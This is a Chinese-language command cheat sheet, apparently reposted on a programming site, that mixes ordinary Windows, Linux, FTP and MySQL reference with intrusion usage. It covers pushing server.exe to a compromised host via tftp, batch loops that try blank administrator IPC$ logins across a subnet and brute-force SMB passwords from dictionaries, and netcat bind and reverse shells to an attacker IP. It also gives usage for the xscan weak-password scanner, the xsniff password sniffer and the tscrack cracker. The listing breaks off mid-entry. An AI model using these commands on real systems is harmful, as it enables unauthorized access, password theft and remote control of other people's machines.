tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進位模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送

tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機

ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進位方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)

route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface

arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息

start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令

mem 查看cpu使用情況

attrib 文件名(目錄名) 查看某文件(目錄)的屬性

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性

dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間

date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間

set 指定環境變數名稱=要指派給變數的字元 設置環境變數

set 顯示當前所有的環境變數

set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數

pause 暫停批處理程序,並顯示出:請按任意鍵繼續….

if 在批處理程序中執行條件處理(更多說明見if命令及變數)

goto 標籤 將cmd.exe導向到批處理程序中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:「:start」標籤)

call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)

for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)

echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置

echo 信息 在屏幕上顯示出信息

echo 信息 pass.txt 將”信息”保存到pass.txt文件中

findstr “Hello” aa.txt 在aa.txt文件中尋找字元串hello

find 文件名 查找某文件

title 標題名字 更改CMD窗口標題名字

color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白

prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )

#3 三:

ver 在DOS窗口下顯示版本信息

winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)

format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

md 目錄名 創建目錄

replace 源文件 要替換文件的目錄 替換文件

ren 原文件名 新文件名 重命名文件名

tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱

type 文件名 顯示文本文件的內容

more 文件名 逐屏顯示輸出文件

doskey 要鎖定的命令=字元

doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=

taskmgr 調出任務管理器

chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤

tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠

exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe

path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。

cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?

regedit /s 註冊表文件名 導入註冊表;參數/S指安靜模式導入,無任何提示;

regedit /e 註冊表文件名 導出註冊表

cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。

cacls 文件名 查看文件的訪問用戶許可權列表

REM 文本內容 在批處理文件中添加註解

netsh 查看或更改本地網路配置情況

#4 四:

IIS服務命令:

iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)

iisreset /start或stop 啟動(停止)所有Internet服務

iisreset /restart 停止然後重新啟動所有Internet服務

iisreset /status 顯示所有Internet服務狀態

iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動

iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機

iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務

iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。

FTP 命令: (後面有詳細說明內容)

ftp的命令行格式為:

ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。

-d 使用調試方式。

-n 限制ftp的自動登錄,即不使用.netrc文件。

-g 取消全局文件名。

help [命令] 或 ?[命令] 查看命令說明

bye 或 quit 終止主機FTP進程,並退出FTP管理方式.

pwd 列出當前遠端主機目錄

put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中

get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中

mget [remote-files] 從遠端主機接收一批文件至本地主機

mput local-files 將本地主機中一批文件傳送至遠端主機

dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件

ascii 設定以ASCII方式傳送文件(預設值)

bin 或 image 設定以二進位方式傳送文件

bell 每完成一次文件傳送,報警提示

cdup 返回上一級目錄

close 中斷與遠程伺服器的ftp會話(與open對應)

open host[port] 建立指定ftp伺服器連接,可指定連接埠

delete 刪除遠端主機中的文件

mdelete [remote-files] 刪除一批文件

mkdir directory-name 在遠端主機中建立目錄

rename [from] [to] 改變遠端主機中的文件名

rmdir directory-name 刪除遠端主機中的目錄

status 顯示當前FTP的狀態

system 顯示遠端主機系統類型

user user-name [password] [account] 重新以別的用戶名登錄遠端主機

open host [port] 重新建立一個新的連接

prompt 交互提示模式

macdef 定義宏命令

lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄

chmod 改變遠端主機的文件許可權

case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母

cd remote-dir 進入遠程主機目錄

cdup 進入遠程主機目錄的父目錄

! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip

#5 五:

MYSQL 命令:

mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。

(例:mysql -h110.110.110.110 -Uroot -P123456

注:u與root可以不用加空格,其它也一樣)

exit 退出MYSQL

mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼

grant select on 資料庫.* to 用戶名@登錄主機 identified by \”密碼\”; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)

show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。

use mysql;

show tables; 顯示庫中的數據表

describe 表名; 顯示數據表的結構

create database 庫名; 建庫

use 庫名;

create table 表名 (欄位設定列表); 建表

drop database 庫名;

drop table 表名; 刪庫和刪表

delete from 表名; 將表中記錄清空

select * from 表名; 顯示錶中的記錄

mysqldump –opt schoolschool.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。

win2003系統下新增命令(實用部份):

shutdown /參數 關閉或重啟本地或遠程主機。

參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,範圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。

例:shutdown /r /t 0 立即重啟本地主機(無延時)

taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。

參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。

tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。

參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。

#6 六:

Linux系統下基本命令: 要區分大小寫

uname 顯示版本信息(同win2K的 ver)

dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)

pwd 查詢當前所在的目錄位置

cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。

cat 文件名 查看文件內容

cat abc.txt 往abc.txt文件中寫上內容。

more 文件名 以一頁一頁的方式顯示一個文本文件。

cp 複製文件

mv 移動文件

rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄

mkdir 目錄名 建立目錄

rmdir 刪除子目錄,目錄內沒有文檔。

chmod 設定檔案或目錄的存取許可權

grep 在檔案中查找字元串

diff 檔案文件比較

find 檔案搜尋

date 現在的日期、時間

who 查詢目前和你使用同一台機器的人以及Login時間地點

w 查詢目前上機者的詳細資料

whoami 查看自己的帳號名稱

groups 查看某人的Group

passwd 更改密碼

history 查看自己下過的命令

ps 顯示進程狀態

kill 停止某進程

gcc 黑客通常用它來編譯C語言寫的文件

su 許可權轉換為指定使用者

telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。

ftp ftp連接上某伺服器(同win2K)

附:批處理命令與變數

1:for命令及變數 基本格式:

FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。

批處理每次能處理的變數從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ 「(1 1 254)」第一個”1″指起始值,第二個”1″指增長量,第三個”254″指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1 }

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加: 來隔開

command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如(d:\pass.txt)時 }。

用法舉例:

@echo off

echo 用法格式:test.bat *.*.* test.txt

for /L %%G in (1 1 254) do echo %1.%%G test.txt net use \\%1.%%G /user:administrator | find “命令成功完成” test.txt

存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位); 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有”命令成功完成”信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。

@echo off

echo 用法格式:ok.bat ip

FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200

存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。

#7 七:

2:if命令及變數 基本格式:

IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為「真」。

例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。

0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。

IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。

例:「if “%2%”==”4″ goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加” “)

IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。

例:「if not nc.exe goto end」指:如果沒有發現nc.exe文件就跳到”:end”標籤處。

IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用 括起來,因為del命令要單獨一行時才能執行,用上 後就等於是單獨一行了;例如:「if exist test.txt. del test.txt. else echo test.txt.missing 」,注意命令中的「.」

(二)系統外部命令(均需下載相關工具):

1、瑞士軍刀:nc.exe

參數說明:

-h 查看幫助信息

-d 後台模式

-e prog程序重定向,一但連接就執行〔危險〕

-i secs延時的間隔

-l 監聽模式,用於入站連接

-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C

-n IP地址,不能用域名

-o film記錄16進位的傳輸

-p[空格]埠 本地埠號

-r 隨機本地及遠程埠

-t 使用Telnet交互方式

-u UDP模式

-v 詳細輸出,用-vv將更詳細

-w數字 timeout延時間隔

-z 將輸入,輸出關掉(用於掃錨時)

基本用法:

nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠

nc -l -p 80 開啟本機的TCP 80埠並監聽

nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠

nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠

nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠

高級用法:

nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止

nc -L -p 80 c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:\log.txt

nc -L -p 80 c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用

type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用

本機上用:nc -l -p 本機埠

在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K

nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆

本機上用:nc -d -l -p 本機埠 要傳送的文件路徑及名稱

在對方主機上用:nc -vv 本機IP 本機埠 存放文件的路徑及名稱 傳送文件到對方主機

備 註:

| 管道命令

或 重定向命令。「」,例如:tlntadmn test.txt 指把test.txt的內容賦值給tlntadmn命令

@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中

與的區別 “”指:覆蓋;””指:保存到(添加到)。

如:@dir c:\winnt d:\log.txt和@dir c:\winnt d:\log.txt二個命令分別執行二次比較看:用的則是把二次的結果都保存了,而用:則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。

#8 八:

2、掃錨工具:xscan.exe

基本格式

xscan -host 起始IP[-終止IP] 檢測項目 [其他選項] 掃錨”起始IP到終止IP”段的所有主機信息

xscan -file 主機列表文件名 檢測項目 [其他選項] 掃錨”主機IP列表文件名”中的所有主機信息

檢測項目

-active 檢測主機是否存活

-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)

-port 檢測常用服務的埠狀態

-ftp 檢測FTP弱口令

-pub 檢測FTP服務匿名用戶寫許可權

-pop3 檢測POP3-Server弱口令

-smtp 檢測SMTP-Server漏洞

-sql 檢測SQL-Server弱口令

-smb 檢測NT-Server弱口令

-iis 檢測IIS編碼/解碼漏洞

-cgi 檢測CGI漏洞

-nasl 載入Nessus攻擊腳本

-all 檢測以上所有項目

其它選項

-i 適配器編號 設置網路適配器, 適配器編號可通過”-l”參數獲取

-l 顯示所有網路適配器

-v 顯示詳細掃描進度

-p 跳過沒有響應的主機

-o 跳過沒有檢測到開放埠的主機

-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10

-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)

用法示例

xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機

xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標準埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放埠的主機

xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的所有主機的標準埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機

#9 九:

3、命令行方式嗅探器: xsniff.exe

可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼

參數說明

-tcp 輸出TCP數據報

-udp 輸出UDP數據報

-icmp 輸出ICMP數據報

-pass 過濾密碼信息

-hide 後台運行

-host 解析主機名

-addr IP地址 過濾IP地址

-port 埠 過濾埠

-log 文件名 將輸出保存到文件

-asc 以ASCII形式輸出

-hex 以16進位形式輸出

用法示例

xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log文件中

xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以ASCII格式輸出

4、終端服務密碼破解: tscrack.exe

參數說明

-h 顯示使用幫助

-v 顯示版本信息

-s 在屏幕上打出解密能力

-b 密碼錯誤時發出的聲音

-t 同

原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/290889.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
小藍的頭像小藍
上一篇 2024-12-24 13:14
下一篇 2024-12-24 13:14

相關推薦

  • AES加密解密演算法的C語言實現

    AES(Advanced Encryption Standard)是一種對稱加密演算法,可用於對數據進行加密和解密。在本篇文章中,我們將介紹C語言中如何實現AES演算法,並對實現過程進…

    編程 2025-04-29
  • 學習Python對學習C語言有幫助嗎?

    Python和C語言是兩種非常受歡迎的編程語言,在程序開發中都扮演著非常重要的角色。那麼,學習Python對學習C語言有幫助嗎?答案是肯定的。在本文中,我們將從多個角度探討Pyth…

    編程 2025-04-29
  • Python被稱為膠水語言

    Python作為一種跨平台的解釋性高級語言,最大的特點是被稱為”膠水語言”。 一、簡單易學 Python的語法簡單易學,更加人性化,這使得它成為了初學者的入…

    編程 2025-04-29
  • OpenJudge答案1.6的C語言實現

    本文將從多個方面詳細闡述OpenJudge答案1.6在C語言中的實現方法,幫助初學者更好地學習和理解。 一、需求概述 OpenJudge答案1.6的要求是,輸入兩個整數a和b,輸出…

    編程 2025-04-29
  • Python按位運算符和C語言

    本文將從多個方面詳細闡述Python按位運算符和C語言的相關內容,並給出相應的代碼示例。 一、概述 Python是一種動態的、面向對象的編程語言,其按位運算符是用於按位操作的運算符…

    編程 2025-04-29
  • Git config命令用法介紹:用正確的郵箱保障開發工作

    本文將詳細介紹如何使用git config命令配置Git的全局和本地用戶信息,特別是如何正確使用用戶郵箱,保障Git操作的正常進行。 一、git config命令介紹 Git中的每…

    編程 2025-04-29
  • Python命令大全及說明

    Python是一種高級編程語言,由Guido van Rossum於1989年底發明。它具有良好的語法結構和面向對象的編程思想,具有簡潔、易讀、易學的特點,是初學者以及專業開發人員…

    編程 2025-04-29
  • Python SSH 遠程執行命令

    Python SSH 遠程執行命令是指在一個伺服器上執行遠程另一個伺服器上命令。如果你需要在本地機器上執行命令,或者在遠程機器上執行本地命令,你都可以使用 SSH。在 Python…

    編程 2025-04-29
  • Python語言由荷蘭人為中心的全能編程開發工程師

    Python語言是一種高級語言,很多編程開發工程師都喜歡使用Python語言進行開發。Python語言的創始人是荷蘭人Guido van Rossum,他在1989年聖誕節期間開始…

    編程 2025-04-28
  • Python語言設計基礎第2版PDF

    Python語言設計基礎第2版PDF是一本介紹Python編程語言的經典教材。本篇文章將從多個方面對該教材進行詳細的闡述和介紹。 一、基礎知識 本教材中介紹了Python編程語言的…

    編程 2025-04-28

發表回復

登錄後才能評論